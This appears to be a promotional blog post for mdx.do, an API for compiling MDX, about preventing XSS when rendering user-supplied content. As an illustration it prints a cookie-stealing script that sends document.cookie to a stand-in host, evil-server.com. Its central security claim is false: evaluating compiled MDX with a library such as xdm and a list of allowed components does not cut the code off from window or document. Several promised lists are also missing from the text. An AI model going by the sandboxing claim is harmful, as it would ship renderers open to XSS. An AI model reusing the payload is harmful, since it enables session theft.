MDX is a game-changer for content. It lets you write JSX directly in Markdown, transforming static documents into rich, interactive experiences. This "content as code" approach is perfect for dynamic blogs, documentation platforms, and headless CMS setups.
But as soon as your content becomes dynamic—pulled from a database, a CMS, or user input—a critical question arises: Is it secure?
Rendering third-party or user-generated content on the fly can open the door to serious security vulnerabilities, most notably Cross-Site Scripting (XSS) attacks. How can you harness the full power of MDX without exposing your application and your users to risk?
This is the exact problem mdx.do solves. It provides a robust, secure API to compile and render MDX content without the security headaches. Let's break down the risks and explore how mdx.do provides a secure-by-design solution.
Imagine you're building a platform that lets users write their own documentation using MDX. A malicious user could submit content like this:
# My Malicious Document
Here is some helpful info.
<script>
// Steal user session cookies and send them to my server
fetch('https://evil-server.com/steal?cookies=' + document.cookie);
</script>
Click this <a href="#" onClick="alert('You have been hacked!')">helpful link</a>.
If you were to naively render this content in your application, you would be executing arbitrary JavaScript in your user's browser. This is a classic XSS attack. Using dangerouslySetInnerHTML isn't an option either, as it would strip out the React components that make MDX so powerful.
Simply using eval() on fetched content is even more dangerous, as it executes code with the full permissions of your application. So, how do you get the dynamic rendering without the danger?
The answer lies in separating the compilation from the execution and controlling the environment of both.
mdx.do secures the dynamic rendering process by offloading the most sensitive step—compilation—to a secure, isolated server environment. The process is simple, yet incredibly effective.
Your front-end application sends the raw MDX string to the mdx.do API. The user's browser is never exposed to the compilation process itself.
import { mdx } from ".do";
const untrustedMdxContent = `
# Hello from the CMS!
This content is dynamic.
<MyCustomComponent title="Welcome" />
This could come from anywhere: {new Date().getFullYear()}
`;
// POST the raw string to the secure mdx.do endpoint
const { code, frontmatter } = await mdx.compile(untrustedMdxContent);
This is where the magic happens. On our servers, mdx.do doesn't just run eval() on your string. It uses a sophisticated and secure pipeline:
The API response doesn't contain a rendered result. It contains the safe, compiled code ready for the final step.
// `code` returned by the API looks something like this (simplified):
/*@jsxRuntime automatic @jsxImportSource react*/
import {Fragment as _Fragment, jsx as _jsx, jsxs as _jsxs} from "react/jsx-runtime";
function MDXContent({components, ...props}) {
// ... a lot of generated code ...
}
export default MDXContent;
As you can see, this is not the raw input. It's structured JavaScript designed to be rendered within React.
The final piece of the security puzzle is how you render this compiled code on your front end. You don't just eval() it. You evaluate it within a controlled and isolated scope.
Libraries like xdm or react-run-kit (which mdx-bundler and others use under the hood) allow you to execute this code while explicitly defining what components and variables it has access to.
import * as React from 'react'
import { evaluate } from 'xdm' // or a similar evaluation library
import * as runtime from 'react/jsx-runtime'
// Your custom components that you allow the MDX to use
import { MyCustomComponent } from './MyCustomComponent'
function MyPage({ compiledCode }) {
const [Content, setContent] = React.useState(null)
React.useEffect(() => {
(async () => {
const { default: MDXContent } = await evaluate(compiledCode, {
...runtime,
// CRITICAL: You only provide the components you trust.
// The code has no access to `window`, `document`, etc.
components: { MyCustomComponent }
})
setContent(() => <MDXContent />)
})()
}, [compiledCode])
return <div>{Content}</div>
}
This is the key: The compiled MDX code can only access the components and functions you explicitly pass into its scope. It cannot access global variables like window or document, preventing it from executing malicious browser APIs. This sandboxing is the final lockdown that makes the entire workflow secure.
With mdx.do, you get a clear, secure, and powerful workflow:
The result is a seamless developer experience that lets you build rich, dynamic, component-driven content without ever compromising the security of your application. You get all the power of "content as code," with none of the risk.
Ready to transform your content into interactive experiences, safely? Get started with mdx.do today!